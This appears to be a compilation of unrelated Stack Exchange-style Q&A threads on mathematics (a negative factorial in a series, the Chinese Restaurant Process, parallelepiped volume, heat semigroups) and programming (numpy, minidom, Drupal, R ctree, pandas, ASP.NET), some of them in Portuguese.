negative factorial in summand

Question: I've been working on solving some problem and reached to the following equation: $\sum_{k=0}^\infty \big[\frac{X^k}{k!} + \frac{kX^{k-1}}{k!} \big] = \sum_{k=0}^\infty \big[\frac{X^k}{k!} + \frac{X^{k-1}}{(k-1)!} \big]$ ($X$ is a complex matrix, but not too important for the purpose of this equation).
I am wondering whether the second term starts from $k = 1$ since for $k = 0$ we have $-1!$ in the denominator, but I am not entirely sure if this is right. If my guess is wrong, then I'd like to know how the second term at $k=0$ should be calculated.
Comment: If you consider the Gamma function, then this is still the only reasonable convention and it indeed often make work a lot of formulas
Answer: In this simplification, you cancelled out a $k$ in the numerator with one in the denominator. But when $k = 0$, there is no $k$ in the denominator. $0! = 1$ by definition. It is not $0$ times anything. Thus you did a nonsense operation and got a nonsense result. The calculation you needed is
$$\begin{align}\sum_{k=0}^\infty \left[\frac{X^k}{k!} + \frac{kX^{k-1}}{k!} \right]
&= \sum_{k=0}^\infty \frac{X^k}{k!} + \sum_{k=0}^\infty\frac{kX^{k-1}}{k!} \\
&= e^X + \left(0 + \sum_{k=1}^\infty\frac{kX^{k-1}}{k!}\right)\\
&= e^X + \sum_{k=1}^\infty\frac{X^{k-1}}{k-1!}\\
&= e^X + \sum_{n=0}^\infty\frac{X^n}{n!}\\
&= 2e^X\end{align}$$
Now, one could object to saying that $\frac{0X^{-1}}{0!} = 0$, since it quite possible that $X^{-1}$ is not even defined, but if so, then the problem already exists in the original expression. And almost certainly, however you obtained that expression, the term should be interpreted as $0$ even if $X^{-1}$ does not exist. But without knowing that derivation, I cannot be sure.
Answer: $\frac{1}{(-1)!}:=0,$ so you get $2e^X$
Comment: As long as you know what you are doing, you can still choose to use it. But the answer would need some more explanation
Comment: @PaulSinclair There is *never* a formal power-series context in which $\frac{1}{(-1)!}\neq 0.$ $\blacksquare$
Comment: That was just a quick example showing that. contrary to your claim of "never", there are formal power series where $1/(-1)! = 0$ is an issue. It is obvious how that particular counter-example can be avoided, but that was not the point. I could have gotten $\infty$ into the numerator in countless other ways, for example, by a rational polynomial.
Comment: That phrase was LL 3.14's and I was just responding to it. I have already said what my argument is, and pointed out why countering a specific example doesn't change it. If you don't agree, that's fine. We can both go our own way. But this has gone on too long already.
Comment: No, as Sassatelli Giulio has already pointed out, there is no such convention. Relying on made up expressions like that is going to occasionally lead you to bad results.
Comment: @LL3.14 - as long as you **know** what you are doing, sure. But as long at you *think* you know what you are doing, the ill-arithmetic behavior of $\infty$ is highly likely to occasionally trip you up. Better to not be sure that you know what you are doing, and to check the real mathematics to see what is actually going on.
Comment: I don't think $(-1)!=\infty$ is going to lead us to bad results any more than using e.g. $0!=1$ or $0^0=1$ is.
Comment: @AlexanderConrad - There are several problems with that. (1) it is trivial to come up with formal power series in which treating $\frac{1}{(-1)!} = 0$ causes issues, for example $\sum_{n=0} \frac{(n-k)!}{(n-1)!}x^n$. (2) *formal* means that you are doing symbol manipulation, not paying attention to the meaning. So you can choose to interpret things in the way you want. The OP appears to be concerned about the meaning of the series.
Comment: @AlexanderConrad - (3) When you have young children in your kitchen, you do not lay out all the knifes and explain how useful they are. Instead you tell them "do not touch" until they have developed the motor control and discretion to handle them properly. These "formal" interpretations are not necessary to perform the mathematics, being shortcuts and notational conveniences. And they can be easily misconstrued by neophytes who lack the experience base to handle them properly.
Comment: And if you do not see why this is a problem, please note that in getting to this place the OP interpreted $0! = 0\cdot(-1)!$ and $\frac 00 = 1$. There is a reason $\frac 00$ and $0\cdot \infty$ are called "indeterminant forms".
Comment: @PaulSinclair (1A) Sure, but I see it differently. Differentiate $e^x$ and see if you can justify whether $De^x=e^x.$ The issue isn't in the actual terms we're differentiating, it's in the way we attempt to *encode it* **generally**. Just like in your very clever example, $\sum_0^{\infty} \frac{(n-k)!}{(n-1)!}x^n$.
Comment: @PaulSinclair (2A) The reason it is "undefined" at $k=1$ is not because a $0/0$ occurs, per se, but because we haven't made an explicit choice as to what $f(1)$ *should be*. Another way to say this is that $n!$ represents a *process* moreso than a *number*, to the extent that we obtain a number at the end of the *process*. This manifests at the end of the procedure as an indeterminate form because we have relied on a process and not an ***explicit expression***. For example, there is no issue with differentiating $1+x+\frac{x^2}{2!}+\cdots,$ or with $F_k(x,a)=\sum_{n\geqslant 0}(n+a)^{[k}x^n.$
Comment: @PaulSinclair (3A) $n^{[k}$ is the *falling* or *rising power* function. Take your pick, but the falling power function is equivalent to your original example after shifting $k$. Choose $a$ appropriately.
Comment: @PaulSinclair (1B) I like $n^{\langle k}$ as notation for the falling powers now. Originally I didn't have space, so I put $n^{[k}$ instead of $n^{[k]}$ instead of $n^{\underline{k}}$. Anyway, just a comment.
Comment: @PaulSinclair (a) About rational functions: that's a whole *different* story regardless, **and** we're talking about "$\infty$ in the *denominator*" (though not really: we're actually talking about specificity). If you have examples, I challenge you to cough some up; I think you have overgeneralized our conversation which is about something that is nearly notational, (namely that $1/(-N)!:=0$ is valid) though also a justification of doing these operations.
Comment: @PaulSinclair (b) Can you define what you mean by "know what you're doing", just so I have an idea of your criterion?
Comment: @PaulSinclair Apologies for the confusion good Sir.

negative factorial in summand


How would I find the location of the intersecting point?

Question: How would I find the location of the intersecting point if starting point and midpoint could be anywhere below the line. The starting point will always be below the midpoint. What would the formula to find this be?
The image is below:
Answer: Think of the midpoint as just another point on the line. With two points, you know all you need to know about the line. If you wanted, you could use middle-school algebra skills by finding the slope between the two points and finding the equation for the line through one of the points. Then see when it hits the required height.


Chinese Restaurant Process: Expected cardinality (number of customers) of each block (table)?

Question: Short version of the question: The Chinese Restaurant Process defines a distribution over partitions of $[T] := \{1, ...., T\}$. What is the expected cardinality of the $t$th block, where $t \in \{1, ..., T\}$?
Long version of the question: Suppose we have a Chinese Restaurant Process with parameter $\alpha$. As background, the $CRP(\alpha)$ specifies a conditional distribution of the form:
$$p(z_t = k|z_1, ..., z_{t-1}) = \begin{cases}
\frac{\alpha}{\alpha + t - 1} & k = K_{t-1} + 1\\
\frac{N_{t-1,k}}{\alpha + t - 1} & k \leq K_{t-1}
\end{cases}$$
where $N_{t-1, k}$ is the integer number of customers at the $k$th table after the $t-1$ customer has been seated, and $K_{t-1}$ is the integer number of non-empty tables.
For each partition of $T$ customers, I can write a $T$-dimensional vector $N_T$ of how many customers are at each table. For instance, if $T=3$, the sample space of $N_t$ is $\mathcal{N}_T := \{(3, 0, 0), (2, 1, 0), (1, 2, 0), (1, 1, 1) \}$. Any of these partitions has some probability mass, given by the CRP:
$$P(N_T) = \frac{\alpha^{T-1} \prod_{k=1}^K N_{T, k}!}{(\alpha+1)_{T -1 \uparrow 1}}$$
where the denominator is the so-called rising factorial, defined as:
$$x_{M \uparrow a} := \prod_{m=0}^{M-1}(x + ma)$$
My question is: what is the expected value of this random $T$-dimensional vector?
$$\mathbb{E}_{N_T}[N_T] = \sum_{N_T \in \mathcal{N}_T} N_T P(N_T)$$
Answer: There is some ambiguity as to what is table $k$, but I am going to assume that table $k$ is the $k$th table encountered in a sequential sampling as you have mentioned. That is,
$$
N_k = \sum_{t=1}^T 1\{z_t = k\} \implies \mathbb E [N_k] = \sum_{t=1}^T \mathbb P(z_t = k).
$$
We also know that
$$
\mathbb P(z_t = k \mid z_{t-1},\dots,z_1) = \frac{\sum_{j=1}^{t-1} 1\{z_j = k\}}{\alpha + t - 1} 1\{k \le K_{t-1}\} + \frac{\alpha}{\alpha+t-1} 1\{ k = K_{t-1}+1 \}.
$$
where $K_{t-1} = \max\{z_1,z_2,\dots,z_{t-1}\}$.
Taking the expectation of both sides
$$
(\alpha+t-1) \mathbb P(z_t = k) = \sum_{j=1}^{t-1} \mathbb P(z_j = k \le K_{t-1}) + \alpha \mathbb P(K_{t-1} = k-1)
$$
For $j \le t-1$,
\begin{align*}
\mathbb P(z_j = k)  &= \mathbb P(z_j = k \le K_{t-1}) + \mathbb P(z_t = k, K_{t-1} < k )  \\
&= \mathbb P(z_j = k \le K_{t-1})
\end{align*}
seeing that if $K_{t-1} < k$ by definition $z_j < k$ for $j \le t-1$.
Letting $\beta_{tk} := \mathbb P(z_t = k)$ and $\gamma_{tk} = \mathbb P(K_t = k)$, we have shown
$$
(\alpha + t - 1) \beta_{tk} = \sum_{j=1}^{t-1} \beta_{jk} + \alpha \gamma_{t-1,k-1}
$$
for $t \ge 2$. By subtracting the case of $t+1$ from that of $t$, we obtain
$$
\beta_{t+1,k} -  \beta_{tk} = \frac{\alpha}{\alpha + t}(\gamma_{t,k-1} - \gamma_{t-1,k-1})
$$
hence
\begin{align*}
\beta_{r+1,k} &= \beta_{2k} + \sum_{t=2}^r \frac{\alpha}{\alpha + t}(\gamma_{t,k-1} - \gamma_{t-1,k-1}), \quad r \ge 2, \\
\beta_{2k} &= \frac{1}{\alpha+1} 1\{k=1\} + \frac{\alpha}{\alpha+1} 1\{k=2\}. \\
\beta_{1k}&= 1\{k=1\}.
\end{align*}
The problem reduces to figuring out $\gamma_{tk}$. But the distribution of $K_t$ is known as the Chinese restaurant table distribution. Its probability mass function is given as
$$
\gamma_{tk} = \frac{\Gamma(\alpha)}{\Gamma(t+\alpha)} |s(t,k)| \alpha^k \cdot 1\{k \le t\}.
$$
where $s(t,k)$ are the Stirling numbers of the first kind.
Putting the pieces together
\begin{align*}
\mathbb E(N_k) &= \sum_{r=1}^T \beta_{rk}  \\
&= \beta_{1k} +  \beta_{2k} + \sum_{r=2}^{T-1} \beta_{r+1,k} \\
&= \beta_{1k} +  (T-2) \beta_{2k} + \sum_{r=2}^{T-1} \sum_{t=1}^r \frac{\alpha}{\alpha + t}(\gamma_{t,k-1} - \gamma_{t-1,k-1}).
\end{align*}

Here is a piece of R code verifying this calculation:
<code># library(gmp) # Needed for the Stirling1 numbers
set.seed(123)
sample_crp = function(n, a) {
  z = vector("numeric")
  z[1] = 1
  for (t in 2:n) {
    zmax = max(z)
    freq = tabulate(z, zmax)
    freq[zmax+1] = a

    z[t] = sample(zmax+1, 1, T, prob = freq)
  }
  z
}

gam_f = function(t, k, a) {
  if (k > t) return(0)
  return( (gamma(a) / gamma(a + t)) * as.numeric(abs(gmp::Stirling1(t, k))) * a^k )
}
bet_f = function(r, k, a) {
  if (r == 1) {
    return(if (k==1) 1 else 0)
  }
  if (r == 2) {
    if (k==1) return(1/(a+1))
    if (k==2) return(a/(a+1))
    return(0)
  }
  temp = bet_f(2, k, a)
  for (t in 2:(r-1)) {
    temp = temp + a*(gam_f(t, k-1, a) - gam_f(t-1, k-1, a))/(a + t)
  }
  temp
}
N_f = function(n, k, a) sum(sapply(1:n, function(r) bet_f(r, k, a)))

nrep = 2000
n = 20
a = 0.6
X = matrix(nrow = nrep, ncol = n)
for (rep in 1:nrep) {
  X[rep, ] = sample_crp(n, a)
}

tab = apply(X, 1, FUN = function(z) tabulate(z, n))
rbind(estim=rowMeans(tab)[1:7], true=sapply(1:7, function(k) N_f(n, k, a)))
</code>
The output is
<code>         [,1]     [,2]     [,3]      [,4]      [,5]      [,6]        [,7]
estim 12.8615 4.770500 1.694000 0.5070000 0.1355000 0.0290000 0.002500000
true  12.8750 4.772263 1.670688 0.5159738 0.1329717 0.0277614 0.004646026
</code>

Some details about the above argument:

What happened when you took the expectation of both sides? In general, the conditional expectation $\mathbb E(X\mid Y)$ is a random variable (a function of $Y$). As a random variable, $\mathbb E(X\mid Y)$ itself has an expectation and we have the general "smoothing" or "tower" property:
$$
\mathbb E[\mathbb E(X\mid Y)] = \mathbb E(X).
$$
Now take $X = 1_{A}$ to be the indicator of a set, i.e., $X(\omega) = 1_A(\omega) = 1\{\omega \in A\}$. Then, applying the above and noting that the expectation of $1_A$ is the probability of $A$, we have
$$
\mathbb E [ \mathbb P(A \mid Y) ] = \mathbb P(A).
$$
Note that $\mathbb P(A \mid Y)$ is a random variable and not a deterministic quantity. This type of argument is what is going on in that step.
Comment: @RylanSchaeffer, I have added some comments to end of the answer. Please have a look and let me know if that makes it clear. $\mathbb P (z_t = k \mid z_{<t})$ is not deterministic (in general) but itself a random variable. It is a function of $z_{< t}$ as you can also see from the RHS of the equation. ($z_{<t}$ is random.)
Comment: you were very helpful! Could I ask you to take a look at my related question? https://stats.stackexchange.com/questions/508645/why-does-chinese-restaurant-table-distribution-look-like-a-gaussian-distribution
Comment: @RylanSchaeffer, added the comment to the posted answer there.
Comment: Wonderful! Thank you! Yes, you correctly deduced what I mean by table $k$.
Comment: When you write, "Taking the expectation of both sides," your left-hand side is $\mathbb{P}(z_t)$.  Could you clarify what happened there? It seems to me you switched from the conditional distribution $\mathbb{P}(z_t | z_{<t})$ to the marginal distribution $\mathbb{P}(z_t)$, but how is that accomplished by taking an expectation?
Comment: I'm also confused by something right after "We also know that". Your left hand side, the conditional distribution $\mathbb{P}(z_t∣z_{<t})$ is entirely deterministic, right? That is, given $z_{<t}$, we know exactly how much mass to place on each outcome for $z_t$. But you then say to take the expectation of both sides. How does one take the expectation of a deterministic function? Your next step suggests to me that you're treating the indicators as random variables - is this correct? If so, the left hand side is deterministic but the right hand side is random - how can this be?
Comment: One quick clarification question: in your expression for $\beta_{r+1, k}$, why is $\beta_{1, k}$ not included in the sum?
Comment: @RylanSchaeffer, the recursive formula that I have derived only holds for $t \ge 2$, hence we can only sum over $t \ge 2$.


volume of a parallelogram

Question:
Possible Duplicate:
Determinants and volume of parallelotopes

Can you give me a direction about how to prove that $|det(UVW)|$ is the 3D volume of the parallelogram that defined by $U, V$ and $W$, for $U, V, W \in \mathbb{R}^{3}$ ?
Thanks.
Comment: A nit-pick: The 3-dimensional analog of a parallelogram is called a "parallelopiped".
Comment: The determinant works for rectangular axis-parallel boxes, and is unchanged under the operation "add a multiple of one column to another" (which ought to leave the volume unchanged by geometric considerations). This determines its value for all nontrivial parallelipeds.
Comment: No, parallelepiped. There's the Greek "epi" in there.
Comment: Not a duplicate as far as I can see. The earlier question asks whether there's a generalization to dimension $>3$; this one seeks a _proof_ for the 3-dimensional case. An answer to one is not the same as an answer to the other.
Answer: First note that $a=\frac{V\times W}{\|V\times W)\|}$ is an unit vector orthogonal to the plane spanned by $V$ and $W$. If $\theta$ is the angle between $U$ and $a$, then $U\cdot a=\|U\|\|a\|\cos\theta=\|U\|\cos\theta$ since $a$ is an unit vector. Notice that $a\cdot U$ is the height $h$ of the parallelepiped formed by $U$, $V$ and $W$ with the parallelogram spanned by $V$ and $W$ as the base (It would be easier to understand if you draw a picture), i.e. $$h=a\cdot U.$$ On the other hand, the area $A$ of the base is equal to the area the parallelogram spanned by $V$ and $W$, that is
$$A=\|V\times W\|.$$
Therefore, the volume of the parallelepiped is given by
$$hA=(U\cdot a)\|V\times W\|=U\cdot (V\times W)$$
since $a=\frac{V\times W}{\|V\times W)\|}$. Now the result follows from
$$\det(U,V,W)=U\cdot(V\times W).$$
Comment: That's answer my question, thanks.
Comment: Is there a elegant way to expand this prove to $\mathbb{R}^n$?

volume of a parallelogram


How to show that $T(t), t\geq 0$ is strongly continuous? Is $\{T(t):t\geq 0\}$ a contraction semi-group?

Question:
Let $\mathscr{X}=L^{2}(-\pi,\pi)$ and define operator:
  $$(T(t)f)(\theta)=\frac{1}{2\pi}\int_{-\pi}^{\pi}G(\theta-\xi,t)f(\xi)d\xi, t>0,$$
  Where $G(\theta,t)=1+2\sum_{n=1}^{\infty}e^{-n^2t}\cos n\theta$, and $T(0)f=f$. How to show that $T(t), t\geq 0$ is strongly continuous? Is $\{T(t):t\geq 0\}$ a contraction semi-group?

I have got $T(0)=I, T(t+s)=T(s)T(t)$, but how to prove:
(1)$\Vert T(t)f-f\Vert \rightarrow 0,$ which implies  $T(t)$ strongly continuous.
(2)$\vert T(t) \Vert \leq 1, $which implies  $T(t)$ contraction.

I think these properties of $G(\theta, t)$ are useful:

$G(\theta, t)$ is continuous
$G(\theta, t)\geq 0, \forall t\geq 0$

In fact, $T(t)f$ gives the solution $u(\cdot, t)$ to the heat equation on a circle.
Answer: I misread your question earlier. Everything appears to correct.
$$
       G(\theta-\xi,t)=1+2\sum_{n=1}^{\infty}e^{-n^2t}(\cos(\theta)\cos(\xi)+\sin(\theta)\sin(\xi))
$$
From this,
$$
    (T(t)f)(\theta)=\frac{1}{2\pi}\int_{-\pi}^{\pi}f(\xi)d\xi+\sum_{n=1}^{\infty}\left[\frac{1}{\pi}\int_{-\pi}^{\pi}f(\xi)\cos\xi d\xi\cos\theta+\frac{1}{\pi}\int_{-\pi}^{\pi}f(\xi)\sin\xi d\xi\sin\theta\right]e^{-n^2 t}
$$
As an identity in $L^2$, $T(0)f=f$ because $T(0)f$ is the Fourier series for $f$. If you let $c_0=\frac{1}{\sqrt{2\pi}}$, $c_n=\frac{1}{\sqrt{\pi}}\cos(n\theta)$ and $s_n=\frac{1}{\sqrt{\pi}}\sin(n\theta)$, then $\{c_0,c_1,s_1,c_2,s_2,\cdots\}$ is the standard Fourier orthonormal basis for $L^2[-\pi,\pi]$, and
$$
         T(t)f =\langle f,c_0\rangle c_0 + \sum_{n=1}^{\infty}e^{-n^2t}(\langle f,c_n\rangle c_n + \langle f,s_n\rangle s_n).
$$
By Parseval's equality,
\begin{align}
      \|T(t)f\|^2&=|\langle f,c_0\rangle|^2+\sum_{n=1}^{\infty}e^{-2n^2t}(|\langle f,c_n\rangle|^2+|\langle f,s_n\rangle|^2) \\
    &\le |\langle f,c_0\rangle|^2+\sum_{n=1}^{\infty}(|\langle f,c_n\rangle|^2+|\langle f,s_n\rangle|^2) \\
  &= \|f\|^2.
\end{align}
Strong continuity of $f$ follows from the crude estimate:
$$
    \|T(t)f-T(s)f\|^2=\sum_{n=1}^{\infty}(e^{-n^2t}-e^{-n^2s})^2(|\langle f,c_n\rangle|^2+|\langle f,s_n\rangle|^2) \\
   \le (e^{-t}-e^{-s})^2\|f\|^2.
$$
Comment: Very nice! Thanks a lot!


How to store a varying size arraylist in a numpy array (for clustering purposes)?

Question:  a=[]
 for (x,y,w,h) in faces:
    for (ex,ey,ew,eh) in eyes:
               cv2.rectangle(roi_color,(ex,ey),(ex+ew,ey+eh),(0,255,0),2)
               a.append(eyes)
               i+=1
 print(a)

eyes is the detection output from detectMultiScale using eye_cascade (detecting inside a face, but ommitted).
Let's say (ex, ey, ew, eh) are 4 coordinates that need to be stored in an array for each iteration of this loop.
The output for each iteration looks like this: [54, 46, 90, 103]
But sometimes, it also looks like this: [[20 34 56 41], [34 56 78 89]]
Sometimes the value of (ex, ey, ew, eh) can be upto 4 array values of in one array.
How can we store these multidimensional outputs in a numpy array?
It does not have a fixed size, sometimes, it is an array of 4 coordinates; sometimes it is an array of an array of many sets of 4 coordinates.
Comment: Best stick with the list
Answer: Collect them into a list and then concatenate:
>>> out = []
>>> for i in range(5):
...     out.append(np.squeeze(np.full([i, 4], i))) # squeeze to make it more difficult
...
>>> out
[array([], shape=(0, 4), dtype=int64), array([1, 1, 1, 1]), array([[2, 2, 2, 2],
       [2, 2, 2, 2]]), array([[3, 3, 3, 3],
       [3, 3, 3, 3],
       [3, 3, 3, 3]]), array([[4, 4, 4, 4],
       [4, 4, 4, 4],
       [4, 4, 4, 4],
       [4, 4, 4, 4]])]
>>> np.r_[('0,2,1', *out)]
array([[1, 1, 1, 1],
       [2, 2, 2, 2],
       [2, 2, 2, 2],
       [3, 3, 3, 3],
       [3, 3, 3, 3],
       [3, 3, 3, 3],
       [4, 4, 4, 4],
       [4, 4, 4, 4],
       [4, 4, 4, 4],
       [4, 4, 4, 4]])

Here we use the "magic" concatenator r_; its first argument '0,2,1' means: concatenate along axis 0, make everything 2D, if axes have to be added the preexisting dimensions start at axis 1., so [1, 1, 1, 1] is reshaped to [[1, 1, 1, 1]] before concatenation.


O que é o parametro Order= no atributo Authorize?

Question: O que é o parametro Order no Atributo AuthorizeAttribute de Autorização do Asp.NET?
Como usa-lo ?
Answer: De acordo com a página do MSDN, ela indica a ordem em que o atributo será executado, entre os filtros que estejam configurados no pipeline do MVC (IMvcFilter). Se o único filtro que você tem é o [Authorize], então o valor do atributo não importa. Se você tem mais de um, então ele pode definir a ordem que a lógica de autorização será executada.
Por exemplo, se você tem um filtro que loga todas as requisições para o seu controlador. Se a ordem do atributo de autorização faz com que ele seja executado antes do logger, então requisições rejeitadas não serão logadas; caso contrário elas serão logadas.


How to get inner content as string using minidom from xml.dom?

Question: I have some text tags in my xml file (pdf converted to xml using pdftohtml from popplers-utils) that looks like this:
<text top="525" left="170" width="603" height="16" font="1">..part of old large book</text>
<text top="546" left="128" width="645" height="16" font="1">with many many pages and some italics text among 'plain' text and more and more text</text>
<text top="566" left="128" width="642" height="16" font="1">etc...</text>

and I can get text envolved with text tag with this sample code:
import string
from xml.dom import minidom
xmldoc = minidom.parse('../test/text.xml')
itemlist = xmldoc.getElementsByTagName('text')

some_tag = itemlist[node_index]
output_text = some_tag.firstChild.nodeValue
# if there is all text inside  I can get it by
output_text = some_tag.firstChild.firstChild.nodeValue

# but no if  wrap only one word of the string

but I can not get "nodeValue" if it contents another tag ( or ...) inside and can not get  object either
What is the best way to get all text as plain string like javascript innerHTML method or recurse into child tags even if they wraps some words and not entire nodeValue?
thanks
Answer:
**Question: How to get inner content as string using minidom

This is a Recursive Solution, for instance:
def getText(nodelist):
    # Iterate all Nodes aggregate TEXT_NODE
    rc = []
    for node in nodelist:
        if node.nodeType == node.TEXT_NODE:
            rc.append(node.data)
        else:
            # Recursive
            rc.append(getText(node.childNodes))
    return ''.join(rc)

xmldoc = minidom.parse('../test/text.xml')
nodelist = xmldoc.getElementsByTagName('text')

# Iterate <text ..>...</text> Node List
for node in nodelist:
    print(getText(node.childNodes))

Output:
..part of old large book
with many many pages and some italics text among 'plain' text and more and more text
etc...

Tested with Python: 3.4.2
Answer: Way too late to the party... I had a similar problem except I wanted the tags in the resulting string. Here is my solution:
# Reconstruct this element's body XML from dom nodes
def getChildXML(elem):
    out = ""
    for c in elem.childNodes:
        if c.nodeType == minidom.Node.TEXT_NODE:
            out += c.nodeValue
        else:
            if c.nodeType == minidom.Node.ELEMENT_NODE:
                if c.childNodes.length == 0:
                    out += "<" + c.nodeName + "/>"
                else:
                    out += "<" + c.nodeName + ">"
                    cs = ""
                    cs = getChildXML(c)
                    out += cs
                    out += "</" + c.nodeName + ">"
    return out

This should return the exact XML with tags included.


Add help text to checkbox options on node form

Question: How can I add help text to each option on checkbox option on drupal node form. I do not want to add this from UI while adding values for the field. Using hook_form_alter I do not believe we have option to add description to options of a checkbox field.
Example: "which game you want to play" is the checkbox field.
which game you want to play?
[] cricket
-- cricket is awesome.
[] football
-- football is more than awesome.
Answer: I tried to do this first by overriding checkboxes theme hook theme_checkboxes($var) with preprocess hook template_preprocess_checkboxes($var) but there was not any option to set #suffix property to individual checkbox, Then i figured out that theme_checkboxes theme hook call the theme_checkbox hook for individual checkbox then i tried to override theme_checkbox($var) with template_preprocess_checkbox($var) but that also didn't worked, I was able to set #suffix and #field_suffix property on individual checkbox but that was not rendering because individual checkbox's #processed property was already set to True, I tried by setting that false but no success :(
I tried by setting pre_render callback and process callback but too didn't worked, May be i was making some mistake.
This is preprocess hook for checkboxes theme hook:
function template_preprocess_checkboxes($variables) {
  $variables['element']['element_name']['#printed'] = FALSE;
  $variables['element']['element_name']['#processed'] = FALSE;
  $variables['element']['element_name']['#suffix'] = 'This is help text';
  $variables['element']['element_name']['#pre_render'][] = 'mymodule_checkbox';

  $element = $variables['element'];
  $attributes = array();
  if (isset($element['#id'])) {
    $attributes['id'] = $element['#id'];
  }
  $attributes['class'][] = 'form-checkboxes';
  if (!empty($element['#attributes']['class'])) {
    $attributes['class'] = array_merge($attributes['class'], $element['#attributes']['class']);
  }
  if (isset($element['#attributes']['title'])) {
    $attributes['title'] = $element['#attributes']['title'];
  }
  return '
' . (!empty($element['#children']) ? $element['#children'] : '') . '
';
}

function mymodule_checkbox($var){
  $var['element']['#suffix'] = 'this is help text added by pre render callback';
}

Then i tried the same with template_preprocess_checkbox($var)
function template_preprocess_checkbox($variables) {
  $element = $variables['element'];
  $element['#attributes']['type'] = 'checkbox';

  element_set_attributes($element, array('id', 'name', '#return_value' => 'value'));

  if ($variables['element']['#parents'][0] == 'parent_field_name') {
    $variables['element']['#attributes']['#processed'] = FALSE;
    $variables['element']['#attributes']['#field_suffix'] = t('This is simple help text');
    $variables['element']['#suffix'] = 'another suffix';
  }

  // Unchecked checkbox has #value of integer 0.
  if (!empty($element['#checked'])) {
    $element['#attributes']['checked'] = 'checked';
  }
  _form_set_class($element, array('form-checkbox'));

  return '<input' . drupal_attributes($element['#attributes']) . ' />';
}

Can someone help me too on this?
Answer: you can do it like this:
function yourmodulename_form_alter(&$form, &$form_state, $form_id) {
 if($form_id == 'yourformid') {
   $form['your_checkbox_field'] = array(
     '#field_suffix' => t('Field help text.')
   );
 }
}

Comment: thanks Arun, I need to have help text with checkbox options not with the field. With the above code it will add the help text with the field.
Comment: could you please provide a screenshot, about how you want to show the help text.
Comment: check the example mentioned where "which game you want to play?" is the field where cricket and football are options a user can check and below them are the help text I want to add.
Comment: did you try both `#field_suffix` and `#suffix`?
Comment: Arun I am very sure they are supposed to work with field not with options


R Ctree how to get the "n" in a terminal node

Question: library("caret")
library("randomForest")
library("party")
library("tree")
library("rpart")
library("rpart.plot")
library("survAUC")
library("survival")
options(digits=4)
survivalTree<-ctree(Surv(survData$user_age,survData$is_user_active)~.,data=survData)
plot(survivalTree)

in the following code i've created this Ctree
example of the data set

Tree looks like this:

My question is how do I get the 'n' variable in the terminal nodes..
lets say in node 4 which is terminal, n = 17. How do i get this value of "17"?
Answer: The where-function extracts the where slot in a BinaryTree object, and you can tabulate it. I don't have your data, but with a similar set of commands is used the ovarian data set in pkg:survival and get:
 > where(survivalTree)
[1] 3 3 3 2 2 2 2 3 3 2 2 2 2 2 2 2 2 2 2 2 2 3 2 3 3 2

So to see how many cases were in node-3, it would be:
 stbl<- table( where(survivalTree)
stbl[names(stbl)==3]
3
8

Comment: Thanks mate. You're a god! ;>


VINCULAR(MESCALR) VALORES NO DATAFRAME "PANDAS"

Question: Olá,
estou criando uma tabela que atualiza a cada 30min, e a cada atualização sempre vem um valor diferente em uma coluna especifica, só que ao utilizar o merge, cria-se outra coluna nos locais em que possuem informações anteriores:
df1 =
+----------+--------+------------------+-----------+----------+
| PLACA    | ID     | NOME             | FUNC      | INFO2    |
+----------+--------+------------------+-----------+----------+
| MKB0000  | 012345 | FULAN DE TAL     | PROFESSOR | NaN      |
+----------+--------+------------------+-----------+----------+
| RLS2135  | 784512 | CICRANO          | PROFESSOR | NaN      |
+----------+--------+------------------+-----------+----------+
| ABC1234  | 895623 | BOLO DE POTE     | VENDEDOR  | NaN      |
+----------+--------+------------------+-----------+----------+
| XYZ0000  | 124578 | VINGART LEVIOSEN | VENDEDOR  | NaN      |
+----------+--------+------------------+-----------+----------+
| POK1234  | 235689 | TORHOFIN         | PROFESSOR | INICIOU  |
+----------+--------+------------------+-----------+----------+
| OLA123   | 744815 | TIGRESA VIP      | PROFESSOR | PAUSA    |
+----------+--------+------------------+-----------+----------+
| NMN1212  | 326159 | BLUE PEN         | VENDEDOR  | NaN      |
+----------+--------+------------------+-----------+----------+
| HIH12312 | 794613 | MC PIPOKINHA     | PROFESSOR | TERMINOU |
+----------+--------+------------------+-----------+----------+
| COM123   | 001258 | REI DE ROMA      | VENDEDOR  | NaN      |
+----------+--------+------------------+-----------+----------+

df2 =
+--------+----------+
| ID     | INFO2    |
+--------+----------+
| 012345 | INICIOU  |
+--------+----------+
| 235689 | TERMINOU |
+--------+----------+
| 744815 | TERMINOU |
+--------+----------+

import pandas as pd

df1= pd.read_csv('list.csv', sep=';')
df2 = pd.read_csv('list2.csv', sep=';')

print(pd.merge(df1, df2, on="ID", how='left')

result

+----------+--------+------------------+-----------+----------+----------+
| PLACA    | ID     | NOME             | FUNC      | INFO2_x  | INFO2_y  |
+----------+--------+------------------+-----------+----------+----------+
| MKB0000  | 012345 | FULAN DE TAL     | PROFESSOR | NaN      | INICIOU  |
+----------+--------+------------------+-----------+----------+----------+
| RLS2135  | 784512 | CICRANO          | PROFESSOR | NaN      | NaN      |
+----------+--------+------------------+-----------+----------+----------+
| ABC1234  | 895623 | BOLO DE POTE     | VENDEDOR  | NaN      | NaN      |
+----------+--------+------------------+-----------+----------+----------+
| XYZ0000  | 124578 | VINGART LEVIOSEN | VENDEDOR  | NaN      | NaN      |
+----------+--------+------------------+-----------+----------+----------+
| POK1234  | 235689 | TORHOFIN         | PROFESSOR | INICIOU  | TERMINOU |
+----------+--------+------------------+-----------+----------+----------+
| OLA123   | 744815 | TIGRESA VIP      | PROFESSOR | PAUSA    | TERMINOU |
+----------+--------+------------------+-----------+----------+----------+
| NMN1212  | 326159 | BLUE PEN         | VENDEDOR  | NaN      | NaN      |
+----------+--------+------------------+-----------+----------+----------+
| HIH12312 | 794613 | MC PIPOKINHA     | PROFESSOR | TERMINOU | NaN      |
+----------+--------+------------------+-----------+----------+----------+
| COM123   | 001258 | REI DE ROMA      | VENDEDOR  | NaN      | NaN      |
+----------+--------+------------------+-----------+----------+----------+

Já tentei o modo CONCAT e outras formas de mesclagem.
Resumindo, há alguma forma de não criar essa segunda coluna, e substituir os valores atuais da coluna INFO2?
Answer: Use o campo ID como index em ambos os DataFrames usando .set_index() e atualize os campos necessários com update().
df1 = df1.set_index("ID")
df2 = df2.set_index("ID")

df1.update(df2)


Execute product pricing rule for the order owner

Question: I have a custom product pricing rule set up in Drupal Commerce which gives users of role Trade a different price by using a different commerce_price field on the product which works fine.
But I need to export the values later on in to a XML file. The original product price is being returned as the rule is set up to use the Current user role, not that of the original user who made the transaction.
Is there anyway to have the rule act on the line item owner or for me to overwrite this in my XML output when calling rules_invoke_event('commerce_product_calculate_sell_price', $line_item);
